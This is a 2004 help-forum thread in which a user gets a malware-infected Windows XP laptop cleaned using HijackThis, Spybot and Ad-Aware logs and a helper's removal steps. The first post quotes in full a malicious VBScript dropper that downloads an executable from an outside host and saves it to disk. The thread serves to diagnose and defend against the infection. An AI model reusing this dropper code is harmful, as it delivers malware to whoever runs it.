HijackThis log

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  1. JohnK

    JohnK Registered Member

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    Nightmare weekend! Within 24 hours, both my (home) desktop and laptop computers fell victim to hijackers. Seem like different infections, too. Spent all day yesterday cleaning my desktop, but despite my best efforts to clean the laptop, it's still ill, so I need help.

    Very brief history of my attempts to cure my system.

    When my laptop started playing up I found two new files in the C: root directory: the first, sp.bat, launched the other file, win2k3.exe

    I found info on their origin in a vbs file (dl.vbs), which I think I found in the System32 directory. Text of dl.vbs:

    Dim D, H, T:Set H=CreateObject("Microsoft.XMLHTTP")
    H.Open "GET","http://answer28.tripod.com/ans.exe",0:H.Send:D=H.ResponseBody
    Set T=CreateObject("ADODB.Stream"):T.Type=1:T.Open:T.Write D
    T.SaveToFile "c:\win2k3.exe",2

    So that ans.exe seems to be the root of my problem.

    I used both avast (which did some cleaning, but I don't have a log) and Trend Micro Damage Cleanup Engine - brief extract from log:

    Load Damage Cleanup Template (DCT) "C:\Documents and Settings\John\Desktop\downloads\Trend Micro system cleaner\tsc.ptn" (version 355) [success]
    WORM_DONK[virus found]
    -->delete registry data("HKEY_LOCAL_MACHINE","Software\Microsoft\Windows\CurrentVersion\Run","wnetlogin.exe") success
    -->delete registry data("HKEY_LOCAL_MACHINE","SOFTWARE\Microsoft\Windows\CurrentVersion\RunServices","wnetlogin.exe") success
    -->delete registry data("HKEY_LOCAL_MACHINE","SOFTWARE\Microsoft\Windows\CurrentVersion\Run","syslog32.exe") success
    -->delete file("C:\WINDOWS\System32\cool.exe","","") success
    C:\WINDOWS\SYSTEM32\cmd.ftp [BAT_SASSER.A]
    C:\WINDOWS\SYSTEM32\wnetlogin.OLD [WORM_DONK.C]

    end of extract

    wnetlogin has suffix "OLD" because I had already identified it as a problem file and changed the suffix.

    I manually deleted sp.bat, win2k3.exe and dl.vbs

    Despite a clean bill of health from both AV programs, the laptop is still obviously infected: an attempt at web access lead to very slow downlaods, and there seemed to be attempts at outgoing connections unconnected with the addresses I am visiting (blocked by firewall - at least I hope so). Printing (network) appears disabled. Every time I reboot the hijacker is also installing the usual localhost entries in my Hosts file for all the various anti-virus software update engines.

    I used S&D as instructed. Log file:

    TurboDownload: Bookmark (Internet Explorer: John) (Bookmark, nothing done)
    Alexa Related: What's related link (Replace file, nothing done)
    C:\WINDOWS\Web\RELATED.HTM
    Common hijacker: Redirected host (Redirected host, nothing done)
    DSO Exploit: Data source object exploit (Registry change, nothing done)
    HKEY_USERS\S-1-5-18\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\1004!=W=3
    DSO Exploit: Data source object exploit (Registry change, nothing done)
    HKEY_USERS\S-1-5-21-1252285341-1315265114-3467358966-1005\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\1004!=W=3
    DSO Exploit: Data source object exploit (Registry change, nothing done)
    HKEY_USERS\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\1004!=W=3
    DSO Exploit: Data source object exploit (Registry change, nothing done)
    HKEY_USERS\S-1-5-19\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\1004!=W=3
    DSO Exploit: Data source object exploit (Registry change, nothing done)
    HKEY_USERS\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\1004!=W=3

    S&D also made my Hosts file read-only. S&D fixed the problems, but if I reboot, the five DSO exploits return.

    Finally, my HijackThis log:

    Logfile of HijackThis v1.97.7
    Scan saved at 14:36:11, on 13/06/2004
    Platform: Windows XP SP1 (WinNT 5.01.2600)
    MSIE: Internet Explorer v6.00 SP1 (6.00.2800.1106)

    Running processes:
    C:\WINDOWS\System32\smss.exe
    C:\WINDOWS\system32\winlogon.exe
    C:\WINDOWS\system32\services.exe
    C:\WINDOWS\system32\lsass.exe
    C:\WINDOWS\System32\Ati2evxx.exe
    C:\WINDOWS\system32\svchost.exe
    C:\WINDOWS\System32\svchost.exe
    C:\WINDOWS\System32\S24EvMon.exe
    C:\WINDOWS\system32\ZCfgSvc.exe
    C:\WINDOWS\System32\1XConfig.exe
    C:\WINDOWS\system32\spoolsv.exe
    C:\Program Files\Alwil Software\Avast4\aswUpdSv.exe
    C:\Program Files\Alwil Software\Avast4\ashServ.exe
    C:\WINDOWS\System32\basfipm.exe
    C:\Program Files\Dell\Bluetooth Software\bin\btwdins.exe
    C:\Program Files\Kerio\Personal Firewall\persfw.exe
    C:\WINDOWS\System32\RegSrvc.exe
    C:\WINDOWS\system32\Ati2evxx.exe
    C:\WINDOWS\Explorer.EXE
    C:\Program Files\ATI Technologies\ATI Control Panel\atiptaxx.exe
    C:\Program Files\Intel\NCS\PROSet\PRONoMgr.exe
    C:\Program Files\Dell\QuickSet\quickset.exe
    C:\WINDOWS\System32\DSentry.exe
    C:\Program Files\Microsoft IntelliPoint\point32.exe
    C:\PROGRA~1\ALWILS~1\Avast4\ashDisp.exe
    C:\Program Files\Common Files\Real\Update_OB\realsched.exe
    C:\Program Files\GPSoftware\Directory Opus\dopus.exe
    C:\WINDOWS\system32\drivers\etc\winupd\winupd32.exe
    C:\Program Files\Dell\Bluetooth Software\BTTray.exe
    C:\Program Files\Digital Line Detect\DLG.exe
    C:\Program Files\Macro Express3\MacExp.exe
    C:\PROGRA~1\Dell\BLUETO~1\BTSTAC~1.EXE
    C:\WINDOWS\System32\wuauclt.exe
    C:\Documents and Settings\John\Desktop\Downloads\HijackThis\HijackThis.exe

    R0 - HKCU\Software\Microsoft\Internet Explorer\Main,Start Page = file:///C:/Documents%20and%20Settings/John/My%20Documents/start%20page.htm
    R1 - HKCU\Software\Microsoft\Internet Explorer\Main,Default_Page_URL = http://www.euro.dell.com/countries/uk/enu/gen/default.htm
    R0 - HKLM\Software\Microsoft\Internet Explorer\Main,Start Page = http://www.euro.dell.com/countries/uk/enu/gen/default.htm
    R1 - HKLM\Software\Microsoft\Internet Explorer\Main,Default_Page_URL = http://www.euro.dell.com/countries/uk/enu/gen/default.htm
    R1 - HKCU\Software\Microsoft\Internet Connection Wizard,Shellnext = http://www.euro.dell.com/countries/uk/enu/gen/default.htm
    O1 - Hosts: 212.58.226.30 news.bbc.co.uk
    O2 - BHO: (no name) - {06849E9F-C8D7-4D59-B87D-784B7D6BE0B3} - C:\Program Files\Adobe\Acrobat 6.0\Reader\ActiveX\AcroIEHelper.dll
    O2 - BHO: (no name) - {516E2306-7ADF-47EC-AEA8-ACB6B51899F1} - C:\PROGRA~1\MACROE~1\iCapture.dll
    O2 - BHO: (no name) - {53707962-6F74-2D53-2644-206D7942484F} - C:\Program Files\Spybot - Search & Destroy\SDHelper.dll
    O2 - BHO: (no name) - {AA58ED58-01DD-4d91-8333-CF10577473F7} - c:\program files\google\googletoolbar1.dll
    O3 - Toolbar: &Radio - {8E718888-423F-11D2-876E-00A0C9082467} - C:\WINDOWS\System32\msdxm.ocx
    O3 - Toolbar: &Google - {2318C2B1-4965-11d4-9B18-009027A5CD4F} - c:\program files\google\googletoolbar1.dll
    O4 - HKLM\..\Run: [Apoint] C:\Program Files\Apoint\Apoint.exe
    O4 - HKLM\..\Run: [ATIModeChange] Ati2mdxx.exe
    O4 - HKLM\..\Run: [ATIPTA] C:\Program Files\ATI Technologies\ATI Control Panel\atiptaxx.exe
    O4 - HKLM\..\Run: [PRONoMgr.exe] C:\Program Files\Intel\NCS\PROSet\PRONoMgr.exe
    O4 - HKLM\..\Run: [Dell QuickSet] C:\Program Files\Dell\QuickSet\quickset.exe
    O4 - HKLM\..\Run: [bascstray] BascsTray.exe
    O4 - HKLM\..\Run: [DVDSentry] C:\WINDOWS\System32\DSentry.exe
    O4 - HKLM\..\Run: [IntelliPoint] "C:\Program Files\Microsoft IntelliPoint\point32.exe"
    O4 - HKLM\..\Run: [avast!] C:\PROGRA~1\ALWILS~1\Avast4\ashDisp.exe
    O4 - HKLM\..\Run: [TkBellExe] "C:\Program Files\Common Files\Real\Update_OB\realsched.exe" -osboot
    O4 - HKLM\..\Run: [Microsoft Update] lsac.exe
    O4 - HKLM\..\Run: [Windows DLL host] "C:\WINDOWS\system32\drivers\etc\winupd\winupd32.exe"
    O4 - HKLM\..\RunServices: [Microsoft Update] lsac.exe
    O4 - HKLM\..\RunServices: [Windows DLL host] "C:\WINDOWS\system32\drivers\etc\winupd\winupd32.exe"
    O4 - HKCU\..\Run: [DOpus] C:\Program Files\GPSoftware\Directory Opus\dopus.exe
    O4 - HKCU\..\Run: [MSMSGS] "C:\Program Files\Messenger\msmsgs.exe" /background
    O4 - HKCU\..\Run: [Microsoft Update] lsac.exe
    O4 - HKCU\..\Run: [Windows DLL host] "C:\WINDOWS\system32\drivers\etc\winupd\winupd32.exe"
    O4 - HKCU\..\RunServices: [Windows DLL host] "C:\WINDOWS\system32\drivers\etc\winupd\winupd32.exe"
    O4 - Global Startup: BTTray.lnk = ?
    O4 - Global Startup: Digital Line Detect.lnk = ?
    O4 - Global Startup: Macro Express 3.lnk = C:\Program Files\Macro Express3\MacExp.exe
    O8 - Extra context menu item: &Google Search - res://c:\program files\google\GoogleToolbar1.dll/cmsearch.html
    O8 - Extra context menu item: Backward &Links - res://c:\program files\google\GoogleToolbar1.dll/cmbacklinks.html
    O8 - Extra context menu item: Cac&hed Snapshot of Page - res://c:\program files\google\GoogleToolbar1.dll/cmcache.html
    O8 - Extra context menu item: Si&milar Pages - res://c:\program files\google\GoogleToolbar1.dll/cmsimilar.html
    O8 - Extra context menu item: Translate into English - res://c:\program files\google\GoogleToolbar1.dll/cmtrans.html
    O9 - Extra 'Tools' menuitem: Sun Java Console (HKLM)
    O9 - Extra button: Related (HKLM)
    O9 - Extra 'Tools' menuitem: Show &Related Links (HKLM)
    O12 - Plugin for .pdf: C:\Program Files\Internet Explorer\PLUGINS\nppdf32.dll
    O16 - DPF: {166B1BCA-3F9C-11CF-8075-444553540000} (Shockwave ActiveX Control) - http://download.macromedia.com/pub/shockwave/cabs/director/swdir.cab
    O16 - DPF: {56336BCB-3D8A-11D6-A00B-0050DA18DE71} (RdxIE Class) - http://software-dl.real.com/18ee204c2d974937d723/netzip/RdxIE601.cab
    O16 - DPF: {9F1C11AA-197B-4942-BA54-47A8489BB47F} (Update Class) - http://v4.windowsupdate.microsoft.com/CAB/x86/unicode/iuctl.CAB?38150.6959490741
    O16 - DPF: {D27CDB6E-AE6D-11CF-96B8-444553540000} (Shockwave Flash Object) - http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab
    O16 - DPF: {DE22A7AB-A739-4C58-AD52-21F9CD6306B7} (CTAdjust Class) - http://download.microsoft.com/download/7/E/6/7E6A8567-DFE4-4624-87C3-163549BE2704/clearadj.cab


    Hope this is not too much detail. Thanks for reading it.

    JohnK
     
  2. Yellowhammer

    Yellowhammer Spyware Fighter

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    Boot to safe mode: Instructions here.

    Then Close all windows and have hijackthis fix the following:

    O4 - HKLM\..\Run: [Microsoft Update] lsac.exe
    O4 - HKLM\..\Run: [Windows DLL host] "C:\WINDOWS\system32\drivers\etc\winupd\winupd32.exe"
    O4 - HKLM\..\RunServices: [Microsoft Update] lsac.exe
    O4 - HKLM\..\RunServices: [Windows DLL host] "C:\WINDOWS\system32\drivers\etc\winupd\winupd32.exe"
    O4 - HKCU\..\Run: [Microsoft Update] lsac.exe
    O4 - HKCU\..\Run: [Windows DLL host] "C:\WINDOWS\system32\drivers\etc\winupd\winupd32.exe"
    O4 - HKCU\..\RunServices: [Windows DLL host] "C:\WINDOWS\system32\drivers\etc\winupd\winupd32.exe"

    O16 - DPF: {56336BCB-3D8A-11D6-A00B-0050DA18DE71} (RdxIE Class) - http://software-dl.real.com/18ee204...ip/RdxIE601.cab

    Then while in safe mode delete the following:

    C:\WINDOWS\system32\drivers\etc\winupd <-Folder
    Search for file lsac.exe and delete it. It does not appear to be running.

    Then browse to the C:\documents and settings\John\local settings\temp folder and delete all files and folders in it.
    Then browse to the C:\Windows\Temp folder and delete all files in it.
    Then in internet explore click tools>internet Options>General. Click on Delete Files make sure you get all offline content as well.

    Then empty the recycle bin.

    Then reboot to normal mode.

    Then,

    Download ad-aware here -> http://fileforum.betanews.com/detail.php3?fid=965718306

    Before you scan with AdAware, check for updates of the reference file by using the "webupdate".

    Then ........

    From main window :Click "Start" then " Activate in-depth scan"

    then......

    click "Use custom scanning options>Customize" and have these options on: "Scan within archives" ,"Scan active processes","Scan registry", "Deep scan registry" ,"Scan my IE Favorites for banned URL" and "Scan my host-files"

    then.........

    Click the "Tweak" button.

    Open up the "Scanning Engine" section and tick "Unload recognized processes during scanning"

    Then........"Cleaning engine" and "Let windows remove files in use at next reboot" and "Automatically try to unregister objects prior to deletion"

    then...... click "proceed" to save your settings.

    Now to scan it´s just to click the "Next" button.

    When scan is finished, mark everything for removal and get rid of it. .(Right-click the window and choose"select all" from the drop down menu) then press next and then say yes to the prompt, do you want to remove all these entries.

    Then Disable system restore: Instructions here.

    Reboot

    Enable system restore.

    Scan and post another hijackthis log.
     
  3. JohnK

    JohnK Registered Member

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    Yellowhammer,

    Many thanks for your detailed help. I followed your instructions. Only hiccup: I could not find any file named Isac.exe, either using the system search or my manual search.

    Here is the new HijackThis log:

    Logfile of HijackThis v1.97.7
    Scan saved at 23:50:50, on 13/06/2004
    Platform: Windows XP SP1 (WinNT 5.01.2600)
    MSIE: Internet Explorer v6.00 SP1 (6.00.2800.1106)

    Running processes:
    C:\WINDOWS\System32\smss.exe
    C:\WINDOWS\system32\winlogon.exe
    C:\WINDOWS\system32\services.exe
    C:\WINDOWS\system32\lsass.exe
    C:\WINDOWS\System32\Ati2evxx.exe
    C:\WINDOWS\system32\svchost.exe
    C:\WINDOWS\System32\svchost.exe
    C:\WINDOWS\System32\S24EvMon.exe
    C:\WINDOWS\system32\ZCfgSvc.exe
    C:\WINDOWS\System32\1XConfig.exe
    C:\WINDOWS\system32\spoolsv.exe
    C:\Program Files\Alwil Software\Avast4\aswUpdSv.exe
    C:\Program Files\Alwil Software\Avast4\ashServ.exe
    C:\WINDOWS\System32\basfipm.exe
    C:\Program Files\Dell\Bluetooth Software\bin\btwdins.exe
    C:\Program Files\Kerio\Personal Firewall\persfw.exe
    C:\WINDOWS\System32\RegSrvc.exe
    C:\WINDOWS\system32\Ati2evxx.exe
    C:\WINDOWS\Explorer.EXE
    C:\Program Files\ATI Technologies\ATI Control Panel\atiptaxx.exe
    C:\Program Files\Intel\NCS\PROSet\PRONoMgr.exe
    C:\Program Files\Dell\QuickSet\quickset.exe
    C:\WINDOWS\System32\DSentry.exe
    C:\Program Files\Microsoft IntelliPoint\point32.exe
    C:\PROGRA~1\ALWILS~1\Avast4\ashDisp.exe
    C:\Program Files\Common Files\Real\Update_OB\realsched.exe
    C:\Program Files\LIUtilities\WinTasks\wintasks.exe
    C:\Program Files\GPSoftware\Directory Opus\dopus.exe
    C:\Program Files\Dell\Bluetooth Software\BTTray.exe
    C:\Program Files\Digital Line Detect\DLG.exe
    C:\Program Files\Macro Express3\MacExp.exe
    C:\PROGRA~1\Dell\BLUETO~1\BTSTAC~1.EXE
    C:\WINDOWS\System32\wuauclt.exe
    C:\Documents and Settings\John\Desktop\Downloads\HijackThis\HijackThis.exe

    R0 - HKCU\Software\Microsoft\Internet Explorer\Main,Start Page = file:///C:/Documents%20and%20Settings/John/My%20Documents/start%20page.htm
    R1 - HKCU\Software\Microsoft\Internet Explorer\Main,Default_Page_URL = http://www.euro.dell.com/countries/uk/enu/gen/default.htm
    R0 - HKLM\Software\Microsoft\Internet Explorer\Main,Start Page = http://www.euro.dell.com/countries/uk/enu/gen/default.htm
    R1 - HKLM\Software\Microsoft\Internet Explorer\Main,Default_Page_URL = http://www.euro.dell.com/countries/uk/enu/gen/default.htm
    R1 - HKCU\Software\Microsoft\Internet Connection Wizard,Shellnext = http://www.euro.dell.com/countries/uk/enu/gen/default.htm
    O1 - Hosts: 212.58.226.30 news.bbc.co.uk
    O2 - BHO: (no name) - {06849E9F-C8D7-4D59-B87D-784B7D6BE0B3} - C:\Program Files\Adobe\Acrobat 6.0\Reader\ActiveX\AcroIEHelper.dll
    O2 - BHO: (no name) - {516E2306-7ADF-47EC-AEA8-ACB6B51899F1} - C:\PROGRA~1\MACROE~1\iCapture.dll
    O2 - BHO: (no name) - {53707962-6F74-2D53-2644-206D7942484F} - C:\Program Files\Spybot - Search & Destroy\SDHelper.dll
    O2 - BHO: (no name) - {AA58ED58-01DD-4d91-8333-CF10577473F7} - c:\program files\google\googletoolbar1.dll
    O3 - Toolbar: &Radio - {8E718888-423F-11D2-876E-00A0C9082467} - C:\WINDOWS\System32\msdxm.ocx
    O3 - Toolbar: &Google - {2318C2B1-4965-11d4-9B18-009027A5CD4F} - c:\program files\google\googletoolbar1.dll
    O4 - HKLM\..\Run: [Apoint] C:\Program Files\Apoint\Apoint.exe
    O4 - HKLM\..\Run: [ATIModeChange] Ati2mdxx.exe
    O4 - HKLM\..\Run: [ATIPTA] C:\Program Files\ATI Technologies\ATI Control Panel\atiptaxx.exe
    O4 - HKLM\..\Run: [PRONoMgr.exe] C:\Program Files\Intel\NCS\PROSet\PRONoMgr.exe
    O4 - HKLM\..\Run: [Dell QuickSet] C:\Program Files\Dell\QuickSet\quickset.exe
    O4 - HKLM\..\Run: [bascstray] BascsTray.exe
    O4 - HKLM\..\Run: [DVDSentry] C:\WINDOWS\System32\DSentry.exe
    O4 - HKLM\..\Run: [IntelliPoint] "C:\Program Files\Microsoft IntelliPoint\point32.exe"
    O4 - HKLM\..\Run: [avast!] C:\PROGRA~1\ALWILS~1\Avast4\ashDisp.exe
    O4 - HKLM\..\Run: [TkBellExe] "C:\Program Files\Common Files\Real\Update_OB\realsched.exe" -osboot
    O4 - HKLM\..\Run: [WinTasks Traybar] C:\Program Files\LIUtilities\WinTasks\wintasks.exe traybar
    O4 - HKCU\..\Run: [DOpus] C:\Program Files\GPSoftware\Directory Opus\dopus.exe
    O4 - HKCU\..\Run: [MSMSGS] "C:\Program Files\Messenger\msmsgs.exe" /background
    O4 - Global Startup: BTTray.lnk = ?
    O4 - Global Startup: Digital Line Detect.lnk = ?
    O4 - Global Startup: Macro Express 3.lnk = C:\Program Files\Macro Express3\MacExp.exe
    O8 - Extra context menu item: &Google Search - res://c:\program files\google\GoogleToolbar1.dll/cmsearch.html
    O8 - Extra context menu item: Backward &Links - res://c:\program files\google\GoogleToolbar1.dll/cmbacklinks.html
    O8 - Extra context menu item: Cac&hed Snapshot of Page - res://c:\program files\google\GoogleToolbar1.dll/cmcache.html
    O8 - Extra context menu item: Si&milar Pages - res://c:\program files\google\GoogleToolbar1.dll/cmsimilar.html
    O8 - Extra context menu item: Translate into English - res://c:\program files\google\GoogleToolbar1.dll/cmtrans.html
    O9 - Extra 'Tools' menuitem: Sun Java Console (HKLM)
    O12 - Plugin for .pdf: C:\Program Files\Internet Explorer\PLUGINS\nppdf32.dll
    O16 - DPF: {166B1BCA-3F9C-11CF-8075-444553540000} (Shockwave ActiveX Control) - http://download.macromedia.com/pub/shockwave/cabs/director/swdir.cab
    O16 - DPF: {9F1C11AA-197B-4942-BA54-47A8489BB47F} (Update Class) - http://v4.windowsupdate.microsoft.com/CAB/x86/unicode/iuctl.CAB?38150.6959490741
    O16 - DPF: {D27CDB6E-AE6D-11CF-96B8-444553540000} (Shockwave Flash Object) - http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab
    O16 - DPF: {DE22A7AB-A739-4C58-AD52-21F9CD6306B7} (CTAdjust Class) - http://download.microsoft.com/download/7/E/6/7E6A8567-DFE4-4624-87C3-163549BE2704/clearadj.cab

    end of log


    JohnK
     
  4. Yellowhammer

    Yellowhammer Spyware Fighter

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    JohnK,

    It looks clean now. :)
     
  5. JohnK

    JohnK Registered Member

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    That's great news. Thanks again.


    JohnK
     
  6. Yellowhammer

    Yellowhammer Spyware Fighter

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    Your Welcome.
     
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